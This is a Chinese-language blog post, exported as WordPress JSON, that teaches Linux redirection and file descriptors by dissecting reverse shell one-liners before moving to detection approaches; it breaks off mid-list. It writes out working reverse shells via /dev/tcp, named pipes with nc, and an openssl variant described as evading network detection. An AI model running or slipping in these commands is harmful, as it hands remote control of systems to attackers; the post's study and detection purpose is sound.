{"id":5342,"date":"2022-10-14T19:56:27","date_gmt":"2022-10-14T11:56:27","guid":{"rendered":"https:\/\/ixyzero.com\/blog\/?p=5342"},"modified":"2022-10-14T19:56:27","modified_gmt":"2022-10-14T11:56:27","slug":"%e9%87%8d%e6%8b%belinux%e6%96%87%e4%bb%b6%e9%87%8d%e5%ae%9a%e5%90%91-2","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/5342.html","title":{"rendered":"\u91cd\u62feLinux\u6587\u4ef6\u91cd\u5b9a\u5411-2"},"content":{"rendered":"\n<p>=Start=<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u7f18\u7531\uff1a<\/h4>\n\n\n\n<p>\u56e0\u4e3a\u5de5\u4f5c\u6027\u8d28\u7684\u53d8\u5316\uff0c\u6211\u5df2\u7ecf\u5f88\u4e45\u6ca1\u6709\u5173\u6ce8IDC\u5b89\u5168\u65b9\u9762\u7684\u5185\u5bb9\u4e86\uff08\u5f88\u4e45\u4e4b\u524d\u641e\u4e86\u4e00\u6bb5\u65f6\u95f4\u7684Bash\u6e90\u7801\u6539\u5199\u4ee5\u652f\u6301bash\u547d\u4ee4\u7684\u5b9e\u65f6\u8bb0\u5f55\u4ee5\u53ca\u57fa\u4e8e\u6b64\u7684\u6076\u610f\u547d\u4ee4\u5206\u6790\uff09\u3002\u524d\u6bb5\u65f6\u95f4\u5728\u7fa4\u91cc\u770b\u5230\u4e86\u4e00\u6761\u53cd\u5f39shell\u7684\u547d\u4ee4\uff0c\u548c\u4e4b\u524d\u6211\u6574\u7406\u65f6\u7565\u6709\u4e0d\u540c\u7684\u5730\u65b9\u5728\u4e8eopenssl\u547d\u4ee4\u7684\u5f15\u5165\uff0c\u5bf9\u8bf7\u6c42\u54cd\u5e94\u7684\u6d41\u91cf\u505a\u4e86\u52a0\u5bc6\uff0c\u4ee5\u89c4\u907f\u5728\u7f51\u7edc\u5c42\u9762\u7684\u5f02\u5e38\u68c0\u6d4b\u3002\u56e0\u4e3a\u4e4b\u524d\u53ea\u662f\u6536\u96c6\u548c\u8bb0\u5f55\u4e86\u5404\u7f16\u7a0b\u8bed\u8a00\u4e00\u53e5\u8bdd\u53cd\u5f39shell\u7684\u5185\u5bb9\uff0c\u4f46\u5e76\u6ca1\u6709\u5177\u4f53\u62c6\u89e3\u548c\u5b66\u4e60\u8fd9\u5176\u4e2d\u6d89\u53ca\u5230\u7684\u77e5\u8bc6\u70b9\u548c\u539f\u7406\uff0c\u6240\u4ee5\u8bb0\u5fc6\u5e76\u4e0d\u6df1\u523b\u3001\u547d\u4ee4\u6572\u8d77\u6765\u4e5f\u4e0d\u591f\u719f\u7ec3\uff08\u57fa\u672c\u5c31\u662f\u9760\u641c\u7d22\/\u590d\u5236\/\u7c98\u8d34\uff09\uff0c\u8d81\u7740\u6700\u8fd1\u6709\u70b9\u65f6\u95f4\uff0c\u518d\u6574\u7406\u548c\u5b66\u4e60\u4e00\u4e0b\uff0c\u52a0\u6df1\u8bb0\u5fc6\u65b9\u4fbf\u540e\u9762\u76f4\u63a5\u4f7f\u7528\u548c\u53c2\u8003\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u6b63\u6587\uff1a<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\">\u53c2\u8003\u89e3\u7b54\uff1a<\/h5>\n\n\n\n<p>\u5148\u7b80\u8981\u56de\u987e\u4e00\u4e0b\u524d\u4e00\u7bc7\u4e2d\u7684\u91cd\u5b9a\u5411\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\uff0c\u4ee5\u53ca\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u590d\u5236\u7684\u5185\u5bb9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u91cd\u5b9a\u5411\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa<\/strong><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code># \u67092\u79cd\u683c\u5f0f\u7684\u5199\u6cd5\n\n# \u5199\u6cd5\u4e00\uff0c\u63a8\u8350\u7684\u7b80\u5199\u7528\u6cd5\n&amp;&gt;word\n\n# \u5199\u6cd5\u4e8c\n&gt;&amp;word\n\n# \u4e0a\u9762\u4e24\u79cd\u5199\u6cd5\u3010\u5efa\u8bae\u4f7f\u7528\u7b2c\u4e00\u79cd\u3011\uff0c\u90fd\u7b49\u4ef7\u4e8e\u4e0b\u9762\u8fd9\u79cd\u66f4\u6613\u4e8e\u7406\u89e3\u7684\u5199\u6cd5\n&gt;word 2&gt;&amp;1<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u590d\u5236<\/strong><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code># \u7528\u4e8e\u590d\u5236\u3010\u8f93\u5165\u3011\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u5c06 word \u5c55\u5f00\u4e4b\u540e\u7684\u6587\u4ef6\u7684\u8f93\u5165\u590d\u5236\u5230\u6587\u4ef6\u63cf\u8ff0\u7b26n\u4e0a\uff0c\u82e5n\u6ca1\u6709\u6307\u5b9a\u5219\u9ed8\u8ba4\u4e3a0\n&#91;n]&lt;&amp;word\n\n&#91;n]&lt;&amp;word #\u8868\u793a\u7528 word \u6269\u5c55\u51fa\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\u7684\u503c\u8986\u76d6 n \uff0c**\u6700\u540eword\u548cn\u7684\u503c\u90fd\u76f8\u7b49\uff0c\u90fd\u662f\u539f\u5148word\u7684\u6307\u5411**\uff0c\u5373\u7528word\u505a\u4e3an\u7684\u8f93\u5165\uff0cn\u9ed8\u8ba4\u4e3a0\u5373\u6807\u51c6\u8f93\u5165\n\n# \u7528\u4e8e\u590d\u5236\u3010\u8f93\u51fa\u3011\u6587\u4ef6\u63cf\u8ff0\u7b26\uff08\u6bd4\u8f83\u597d\u7406\u89e3\uff09\uff0cn\u9ed8\u8ba4\u4e3a1\uff0c\u7279\u522b\u7684\u5f53n\u7701\u7565\u65f6\u5c31\u662f\u4e4b\u524d\u4ecb\u7ecd\u8fc7\u7684\u2014\u2014\u91cd\u5b9a\u5411\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\n&#91;n]&gt;&amp;word\n\n&#91;n]&gt;&amp;word #\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26 n \u4ee3\u8868\u7684\u6587\u4ef6\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u4e86 word \u4e0a\uff0c**\u6700\u540eword\u548cn\u7684\u503c\u90fd\u76f8\u7b49\uff0c\u90fd\u662f\u539f\u5148word\u7684\u6307\u5411**\uff0c\u8f93\u51fa\u5230n\u7684\u4e5f\u90fd\u540c\u6837\u8f93\u51fa\u5230\u4e86word\uff0c\u7279\u6b8a\u60c5\u51b5\u82e5n\u7701\u7565\uff0c\u5c31\u662f\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u90fd\u8f93\u51fa\u5230\u4e86word\u4e2d\n\n\n# \u5373\uff0c\u4e0d\u7ba1\u662f\u590d\u5236\u8f93\u5165\u8fd8\u662f\u590d\u5236\u8f93\u51fa\uff0c\u6709\u4e00\u4e2a\u70b9\u662f\u76f8\u540c\u7684\uff0c\u6700\u540e\u4e24\u8005\u7684\u503c\u76f8\u540c\uff0c\u90fd\u662f\u539f\u5148\u7684word\uff0c\u533a\u522b\u5728\u4e8e\u4e00\u4e2a\u7528word\u4f5c\u4e3a\u8f93\u5165\uff0c\u4e00\u4e2a\u7528word\u4f5c\u4e3a\u8f93\u51fa\n\n# \u4e0d\u7ba1\u662f\u54ea\u4e2a\uff0c\u6700\u540e word \u548c n \u7684\u503c\u90fd\u662f\u76f8\u7b49\u7684\uff0c\u4e14\u90fd\u662fword\u7684\u503c\uff0c\u6240\u4ee5 0&gt;&amp;1 == 0&lt;&amp;1 == &lt;&amp;1 \u8fd93\u8005\u7b49\u4ef7\uff08\u8f93\u5165\u8f93\u51fa\u8fde\u63a5\u6210\u4e86\u73af\u72b6\uff0c\u5728\u7ec8\u7aef\u4ea4\u4e92\u7684\u8868\u73b0\u5c31\u662f\u8f93\u5165\u4ec0\u4e48\u5c31\u8f93\u51fa\u4ec0\u4e48\uff09<\/code><\/pre>\n\n\n\n<p>\u4e4b\u524d\u53ea\u662f\u56de\u987e\u4e86\u57fa\u672c\u7684\u77e5\u8bc6\u70b9\uff0c\u5bf9\u4e8e\u4e00\u4e9b\u7b80\u5355\u7684\u7528\u6cd5\u53ef\u4ee5\u76f4\u63a5\u8fdb\u884c\u5206\u8fa8\uff0c\u4f46\u662f\u7f3a\u5c11\u4e86\u771f\u5b9e\u573a\u666f\u4e2d\u7684\u6848\u4f8b\u5206\u6790\uff08\u5404\u79cd\u547d\u4ee4\u7684\u4f7f\u7528\u53ca\u82b1\u5f0f\u53d8\u5f62\u8ba9\u4eba\u5f88\u96be\u7406\u89e3\uff0c\u5bb9\u6613\u51fa\u73b0\u4e00\u770b\u5c31\u4f1a\u4e00\u5206\u6790\u5c31\u61f5\u7684\u60c5\u51b5\uff09\uff0c\u8fd9\u91cc\u62ff\u4e00\u4e9b\u6848\u4f8b\u505a\u8bf4\u660e\uff0c\u7528\u4e8e\u5de9\u56fa\u548c\u52a0\u5f3a\u524d\u9762\u77e5\u8bc6\u70b9\u7684\u7406\u89e3\u548c\u8bb0\u5fc6\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u4ece\u6700\u7b80\u5355\u7684\u53cd\u5f39shell\u547d\u4ee4\u5f00\u59cb<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code># \u91cd\u5b9a\u5411\u8f93\u51fa\n# \u95ee\u9898\uff1a\u53ea\u662f\u628a\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u6267\u884c\u547d\u4ee4\u7684\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u663e\u793a\u5230\u4e86\u653b\u51fb\u8005\u5230\u673a\u5668\u4e0a\uff0c\u653b\u51fb\u8005\u6ca1\u6709\u5b9e\u73b0\u5bf9\u53d7\u5bb3\u8005\u7684\u63a7\u5236\uff0c\u653b\u51fb\u8005\u6ca1\u6cd5\u5728\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u6267\u884c\u547d\u4ee4\n$ bash -i > \/dev\/tcp\/127.0.0.1\/23333\n\n# \u91cd\u5b9a\u5411\u8f93\u51fa+\u91cd\u5b9a\u5411\u8f93\u5165\n# \u95ee\u9898\uff1a\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u6267\u884c\u547d\u4ee4\uff08\u4e0d\u8fc7\u6ca1\u6709\u547d\u4ee4\u63d0\u793a\u7b26\uff09\uff0c\u4f46\u662f\u653b\u51fb\u8005\u8f93\u5165\u7684\u4efb\u4f55\u547d\u4ee4\uff08\u8fd8\u6709\u9519\u8bef\u8f93\u51fa\uff09\u90fd\u4f1a\u663e\u793a\u5728\u53d7\u5bb3\u8005\u673a\u5668\u7684\u7ec8\u7aef\u4e0a\uff0c\u4e14\u9519\u8bef\u8f93\u51fa\u653b\u51fb\u8005\u770b\u4e0d\u5230\n$ bash -i > \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\n\n# \u91cd\u5b9a\u5411\u8f93\u51fa+\u91cd\u5b9a\u5411\u8f93\u5165+\u91cd\u5b9a\u5411\u9519\u8bef\u8f93\u51fa\n# \u95ee\u9898\uff1a\u65e0\n$ bash -i > \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1 2>&amp;1\n\n# \u91cd\u5b9a\u5411\u8f93\u51fa+\u91cd\u5b9a\u5411\u9519\u8bef\u8f93\u51fa+\u91cd\u5b9a\u5411\u8f93\u5165\uff08\u6ce8\u610f\u8fd9\u91cc\u7684\u51e0\u4e2a\u91cd\u5b9a\u5411\u987a\u5e8f\u548c\u4e0a\u9762\u6709\u4e9b\u8bb8\u8c03\u6574\u2014\u2014\u91cd\u5b9a\u5411\u8f93\u5165\u88ab\u653e\u5728\u4e86\u6700\u540e\uff09\n# \u95ee\u9898\uff1a\u65e0\uff0c\u76f8\u6bd4\u4e0a\u9762\u90a3\u4e2a\u7248\u672c\u6765\u8bb2\u66f4\u7b80\u6d01\uff0c\u4f46\u5bf9\u4e8e\u65b0\u624b\u6765\u8bb2\u4e0d\u592a\u597d\u7406\u89e3\uff0c\u4e14\u56e0\u4e3a\u4e00\u4e9b\u517c\u5bb9\u6027\u95ee\u9898\u4e0d\u88ab\u91cd\u5b9a\u5411\u7684\u89c4\u8303\u63a8\u8350\n$ bash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\n# \u5efa\u8bae\u4e0b\u9762\u8fd9\u79cd\n$ bash -i &amp;> \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\n\n# \u4e0b\u9762\u662f\u5404\u79cd\u7b80\u5355\u7684\u53d8\u5f62\n\n# \u79fb\u9664\u90e8\u5206\u7a7a\u683c\uff0c\u6ca1\u6709\u5f71\u54cd\nbash -i &amp;> \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\nbash -i &amp;>\/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\nbash -i&amp;> \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\nbash -i&amp;>\/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\n\n# \u4ece\u89c4\u8303\u63a8\u8350\u7684 &amp;> \u53d8\u6210\u4e86\u7f51\u4e0a\u6587\u7ae0\u4e2d\u51fa\u73b0\u8f83\u591a\u7684 >&amp; \u4e5f\u53ef\u4ee5\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 0>&amp;1\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 0&lt;&amp;1\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 &lt;&amp;1\n\n# \u628a \u6807\u51c6\u8f93\u51fa1 \u6539\u6210\u4e86 \u9519\u8bef\u8f93\u51fa2 \u4e5f\u662f\u4e00\u6837\uff0c\u56e0\u4e3a1\u548c2\u6b64\u65f6\u6307\u5411\u540c\u4e00\u4e2a\u5730\u65b9\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 0>&amp;2\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 0&lt;&amp;2\nbash -i >&amp; \/dev\/tcp\/127.0.0.1\/23333 &lt;&amp;2\n\n\n# \u5bf9\u4e8e\u6587\u4ef6\u91cd\u5b9a\u5411\u4e2d &amp; \u7b26\u53f7\u7684\u7528\u6cd5\uff0c\u6211\u8fd9\u91cc\u6709\u4e00\u4e2a\u7b80\u5355\u7684\u8bb0\u5fc6\u65b9\u6cd5\uff0c\u975e\u5b98\u65b9\u4e0d\u4e00\u5b9a\u51c6\u786e\uff0c\u4f46\u5c31\u6211\u770b\u5230\u7684\u8fd9\u4e9b\u4f8b\u5b50\u6765\u8bf4\u8fd8\u90fd\u662f\u5bf9\u7684\uff1a\n1. \u5982\u679c &amp; \u540e\u9762\u63a5\u7684\u662f\u4e00\u4e2a\u6570\u5b57(\u8fd9\u91cc\u4ee5 n \u4e3a\u4f8b)\uff0c\u5219n\u4ee3\u8868\u7684\u662f\u4e00\u4e2a\u6587\u4ef6\u63cf\u8ff0\u7b26\uff0c\u5373 >&amp;n \u8868\u660e\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26n\u4ee3\u8868\u7684\u6587\u4ef6\u4f5c\u4e3a\u8f93\u51fa\uff0c&lt;&amp;n \u8868\u660e\u5c06\u6587\u4ef6\u63cf\u8ff0\u7b26n\u4ee3\u8868\u7684\u6587\u4ef6\u4f5c\u4e3a\u8f93\u5165\uff1b\n2. \u5982\u679c &amp; \u540e\u9762\u63a5\u7684\u662f\u4e00\u4e2a\u5177\u4f53\u7684\u6587\u4ef6\u8def\u5f84\uff0c\u4f5c\u7528\u662f\u5c06\u7a0b\u5e8f\u7684\u9519\u8bef\u8f93\u51fa\u8fdb\u884c\u91cd\u5b9a\u5411\uff1b\n3. \u5982\u679c &amp; \u540e\u9762\u65e2\u6ca1\u6709\u63a5\u6570\u5b57\u4e5f\u6ca1\u6709\u63a5\u5177\u4f53\u6587\u4ef6\u8def\u5f84\uff0c\u5219\u9ed8\u8ba4\u662f \u9519\u8bef\u8f93\u51fa(2) \uff0c\u5373\u628a\u7a0b\u5e8f\u7684\u9519\u8bef\u8f93\u51fa\u8fdb\u884c\u91cd\u5b9a\u5411\u3002<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u590d\u6742\u70b9\u91cd\u5b9a\u5411\u547d\u4ee4\u7684\u7406\u89e3<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code># \u53cd\u5f39shell\u547d\u4ee4\u7684\u9009\u53d6\u903b\u8f91\u548c\u76ee\u6807\u4e3b\u8981\u662f\u2014\u2014\u517c\u5bb9\u6027\u8f83\u597d\u4e14\u7075\u6d3b\u6613\u7528\uff08\u547d\u4ee4\u9ed8\u8ba4\u5b89\u88c5\u4e14\u4e0d\u540c\u5e73\u53f0\u7684\u76f8\u5173\u7279\u6027\u5dee\u5f02\u4e0d\u5927\uff09\uff0c\u4e0d\u6613\u88ab\u68c0\u6d4b\uff08\u7279\u5f81\u8f83\u5c11\u4e14\u4e0d\u660e\u663e\uff09\u3002\n\n\n# \u5148\u5c06\u7279\u5b9asocket\u6587\u4ef6\u4ee5\u8bfb\u5199\u65b9\u5f0f\u7ed1\u5b9a\u5230\u6587\u4ef6\u63cf\u8ff0\u7b266\u4e0a\u9762\uff0c\u7136\u540e\u901a\u8fc7\u5c066\u4e2d\u7684\u5185\u5bb9\u8f93\u5165\u5230\u6807\u51c6\u8f93\u5165\u4e2d\n# \u518d\u5bf9\u8f93\u5165\u8fdb\u884c\u6253\u5370\u5e76\u5faa\u73af\u8bfb\u53d6+\u5c06\u8bfb\u53d6\u7684\u5185\u5bb9\u4f5c\u4e3a\u547d\u4ee4\u6267\u884c+\u5e76\u5c06\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u52306\u4e0a\u9762\u5b9e\u73b0\u8f93\u5165\u8f93\u51fa\u7684\u95ed\u73af\nexec 6&lt;>\/dev\/tcp\/127.0.0.1\/23333;cat &lt;&amp;6|while read line;do $line >&amp;6 2>&amp;1;done\n\n\n# \u5c06\u6587\u4ef6\u63cf\u8ff0\u7b266\u7684\u8f93\u5165\u590d\u5236\u5230\u6807\u51c6\u8f93\u51650\u4e0a\uff0c\u540c\u65f6\u5c06\u7279\u5b9asocket\u6587\u4ef6\u4ee5\u8bfb\u5199\u65b9\u5f0f\u7ed1\u5b9a\u5230\u6587\u4ef6\u63cf\u8ff0\u7b266\u4e0a\n# \u518d\u628a6\u7684\u8f93\u5165\u4f20\u9012\u7ed9shell\uff0c\u628a\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u52306\u4e0a\uff0c\u5b9e\u73b0\u6574\u4f53\u95ed\u73af\n0&lt;&amp;6;exec 6&lt;>\/dev\/tcp\/127.0.0.1\/23333; bash &lt;&amp;6 >&amp;6 2>&amp;6 #bash: 6: \u9519\u8bef\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\n0&lt;&amp;6;exec 6&lt;>\/dev\/tcp\/127.0.0.1\/23333; bash -i &lt;&amp;6 >&amp;6 2>&amp;6 #\u6dfb\u52a0-i\u9009\u9879\u4e4b\u540e\u5c31\u6ca1\u6709\u9519\u8bef\u63d0\u793a\u4e86\n\n\n# \u521b\u5efa\u4e00\u4e2a\u547d\u540d\u7ba1\u9053\uff0c\u540c\u65f6\u5c06\u547d\u540d\u7ba1\u9053\u4e2d\u7684\u5185\u5bb9\u4f20\u9012\u7ed9\u542f\u7528\u4ea4\u4e92\u6a21\u5f0f\u9009\u9879\u7684shell\uff0c\u628ashell\u91cc\u7684\u9519\u8bef\u8f93\u51fa\u7ed1\u5b9a\u5230\u6807\u51c6\u8f93\u51fa\u4e0a\u4e00\u8d77\u4f20\u9012\u7ed9nc\u521b\u5efa\u7684socket\u6587\u4ef6\n# socket\u6587\u4ef6\u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u521a\u624d\u7684\u547d\u540d\u7ba1\u9053\u4e2d\uff08\u4f5c\u4e3a\u547d\u540d\u7ba1\u9053\u7684\u5185\u5bb9\uff09\uff0c\u5b8c\u6210\u4e86\u628a\u8f93\u5165\u548c\u8f93\u51fa\u90fd\u91cd\u5b9a\u5411\u5230shell\u7684\u95ed\u73af\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/bash -i 2>&amp;1|nc 127.0.0.1 23333 >\/tmp\/f\n\n\n# \u7528mknod\u547d\u4ee4\u521b\u5efa\u4e00\u4e2a\u7ba1\u9053\uff0c\u540c\u65f6\u5c06\u7ba1\u9053\u7684\u5185\u5bb9\u4f5c\u4e3a\u8f93\u5165\u4f20\u9012\u7ed9nc\u547d\u4ee4\n# nc\u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3ashell\u7684\u8f93\u5165\uff0cshell\u7684\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u7ba1\u9053\u91cc\uff0c\u5b8c\u6210\u4e86\u8f93\u5165\u548c\u8f93\u51fa\u7684\u95ed\u73af\nmknod fp p;nc 127.0.0.1 23333 0&lt;fp | \/bin\/bash 1>fp 2>fp\n\n\n# \u521b\u5efa\u4e00\u4e2a\u547d\u540d\u7ba1\u9053\uff0c\u5e76\u5c06\u7ba1\u9053\u4e2d\u7684\u5185\u5bb9\u4f5c\u4e3a\u8f93\u5165\u4f20\u9012\u7ed9shell\uff0cshell\u7684\u9519\u8bef\u8f93\u51fa\u7ed1\u5b9a\u5230\u6807\u51c6\u8f93\u51fa\u4e0a\u4e00\u8d77\u4f20\u9012\u7ed9openssl\u547d\u4ee4\n# openssl\u547d\u4ee4\u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230\u7ba1\u9053\u4e2d\uff08\u81f3\u6b64\u5728\u7ba1\u9053\u4e2d\u5df2\u7ecf\u5b8c\u6210\u4e86shell\u547d\u4ee4\u8f93\u5165\u8f93\u51fa\u7684\u95ed\u73af\uff0c\u4e14\u662f\u5148\u6709\u8f93\u5165\u518d\u6709\u8f93\u51fa\uff09\n# \u5220\u9664\u8fd9\u4e2a\u7ba1\u9053\u6587\u4ef6\uff08\u56e0\u4e3a\u8fdb\u7a0b\u5df2\u7ecf\u5728\u8fd0\u884c\u4e86\uff0c\u6240\u4ee5\u5373\u4fbf\u5220\u6389\u672c\u5730\u6587\u4ef6\u4f46\u5185\u5b58\u4e2d\u8fd8\u662f\u6709\u4e00\u4efd\uff0c\u4e0d\u4f1a\u5f71\u54cd\u5df2\u7ecf\u8dd1\u8d77\u6765\u7684\u7a0b\u5e8f\uff09\uff0c\u907f\u514d\u88ab\u53d1\u73b0\nrm \/tmp\/s; mkfifo \/tmp\/s; \/bin\/sh -i &lt; \/tmp\/s 2>&amp;1 | openssl s_client -quiet -connect 127.0.0.1:23333 > \/tmp\/s; rm \/tmp\/s<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u53cd\u5f39Shell\u7684\u68c0\u6d4b<\/h5>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>\u53cd\u5f39Shell\u662f\u9ed1\u5ba2\uff08\u5373Shell\u653b\u51fb\u8005\uff09\u7528\u4e8e\u63a7\u5236\u53d7\u5bb3\u670d\u52a1\u5668\u7684\u4e00\u79cd\u624b\u6bb5\u3002Shell\u653b\u51fb\u8005\u6307\u5b9a\u670d\u52a1\u7aef\uff0c\u5e76\u5c06\u9700\u8981\u53d7\u5bb3\u670d\u52a1\u5668\u6267\u884c\u7684\u547d\u4ee4\uff08\u6807\u51c6\u8f93\u5165\u3001\u6807\u51c6\u8f93\u51fa\u3001\u6807\u51c6\u9519\u8bef\u7b49\uff09\u91cd\u5b9a\u5411\u5230\u8be5\u670d\u52a1\u7aef\u3002\u53d7\u5bb3\u670d\u52a1\u5668\u4e3b\u52a8\u8fde\u63a5\u653b\u51fb\u8005\u7684\u670d\u52a1\u7aef\u7a0b\u5e8f\uff0c\u653b\u51fb\u8005\u7684\u670d\u52a1\u7aef\u901a\u8fc7\u76d1\u542c\u6765\u81ea\u53d7\u5bb3\u670d\u52a1\u5668\u7684\u8bf7\u6c42\uff0c\u5bf9\u76ee\u6807\u670d\u52a1\u5668\u4e0b\u53d1\u6307\u4ee4\u5e76\u83b7\u53d6\u6267\u884c\u7ed3\u679c\uff0c\u4ee5\u8fbe\u5230\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53d7\u5bb3\u670d\u52a1\u5668\u7684\u76ee\u7684\u3002<\/p><\/blockquote>\n\n\n\n<p>\u963f\u91cc\u4e91\u4e91\u5b89\u5168\u4e2d\u5fc3\u4e4b\u524d\u641e\u8fc7\u4e00\u4e2a\u5bf9\u653b\u51fb\u94fe\u8def\u4e2d\u5b9e\u73b0\u53cd\u5f39Shell\u7684\u8bed\u8a00\u53ca\u5de5\u5177\u4f7f\u7528\u7387\u7684\u7edf\u8ba1\uff0c\u4ece\u7edf\u8ba1\u4e2d\u53ef\u4ee5\u770b\u51fa\u5f39Shell\u5b9e\u73b0\u7684\u65b9\u5f0f\u7075\u6d3b\u591a\u6837\uff0c\u6bcf\u79cd\u8bed\u8a00\u90fd\u53ef\u4ee5\u8fdb\u4e00\u6b65\u5ef6\u4f38\u548c\u6269\u5c55\u3002\u56e0\u6b64\uff0c<strong>\u4e3a\u4e86\u4fdd\u969c\u6700\u4f18\u7684\u68c0\u51fa\u6548\u679c\uff0c\u53cd\u5f39Shell\u7684\u68c0\u6d4b\u65b9\u6848\u9700\u8981\u7efc\u5408\u8003\u8651\u591a\u79cd\u573a\u666f\u56e0\u7d20\u3002<\/strong><\/p>\n\n\n\n<p>\u5e38\u89c4\u68c0\u6d4b\u65b9\u6cd5\u7684\u7f3a\u9677\u5b83\u4eec\u4e5f\u5217\u51fa\u6765\u4e86\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>shell\u64cd\u4f5c\u65e5\u5fd7\u8bb0\u5f55\u96be\u4ee5\u8bb0\u5b8c\u6574\uff1b<\/li><li>\u6b63\u5219\u5339\u914d\u4e0d\u5b8c\u5168\u4e0d\u51c6\u786e\uff1b<\/li><li>\u6d41\u91cf\u52a0\u5bc6\u65e0\u6cd5\u5206\u6790\u3002<\/li><\/ul>\n\n\n\n<p><strong>\u56e0\u4e3a\u8868\u5c42\u5bf9\u6297\u662f\u65e0\u7a77\u65e0\u5c3d\u7684\uff0c\u68c0\u6d4b\u9700\u8981\u7531\u8868\u53ca\u91cc\uff0c\u5c3d\u53ef\u80fd\u6316\u6398\u51fa\u66f4\u672c\u8d28\u7684\u89e3\u51b3\u65b9\u6cd5\u3002<\/strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#ff0000\" class=\"has-inline-color\">\u4ece\u68c0\u6d4b\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u53cd\u5f39Shell\u7684\u672c\u8d28\u53ef\u4ee5\u7406\u89e3\u4e3a\uff1a\u7f51\u7edc\u901a\u4fe1+\u547d\u4ee4\u6267\u884c+\u91cd\u5b9a\u5411\u65b9\u5f0f\u3002<\/mark><\/p>\n\n\n\n<p>\u547d\u4ee4\u6267\u884c\u548c\u7f51\u7edc\u901a\u4fe1\u501f\u52a9\u91cd\u5b9a\u5411\uff0c\u53ef\u4ee5\u6784\u5efa\u51fa\u4e00\u6761\u6d41\u52a8\u7684\u6570\u636e\u901a\u9053\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8fd9\u6761\u901a\u9053\u4e0b\u53d1\u6307\u4ee4\u63a7\u5236\u53d7\u5bb3\u670d\u52a1\u5668\u3002\u4e0d\u540c\u7684\u5b9e\u73b0\u65b9\u5f0f\u7ec4\u5408\u5728\u4e00\u8d77\uff0c\u5c31\u5f62\u6210\u4e86\u591a\u79cd\u591a\u6837\u7684\u53cd\u5f39Shell\u3002\u4f8b\u5982\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u7f51\u7edc\u901a\u4fe1\u53ef\u4ee5\u4f7f\u7528TCP\u3001UDP\u3001ICMP\u7b49\u534f\u8bae\uff0cTCP\u534f\u8bae\u518d\u7ec6\u5206\u53c8\u53ef\u4ee5\u5305\u542bHTTP\u3001HTTPS\u534f\u8bae\u7b49\uff0cUDP\u5305\u542bDNS\u7b49\u3002<\/li><li>\u547d\u4ee4\u6267\u884c\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528Shell\u89e3\u91ca\u5668\u3001Glibc\u5e93\u3001Syscall\u7b49\u65b9\u5f0f\u5b9e\u73b0\u3002<\/li><li>\u91cd\u5b9a\u5411\u53ef\u4ee5\u901a\u8fc7\u7ba1\u9053\u3001\u6210\u5bf9\u7684\u4f2a\u7ec8\u7aef\u3001\u5185\u5b58\u6587\u4ef6\u7b49\u5b9e\u73b0\u3002<\/li><\/ul>\n\n\n\n<p>\u4ece\u68c0\u6d4b\u7684\u89d2\u5ea6\uff0c\u53ef\u4ee5\u5c06\u53cd\u5f39Shell\u5206\u4e3a\u4ee5\u4e0b\u4e09\u79cd\u7c7b\u578b\uff1a<\/p>\n\n\n\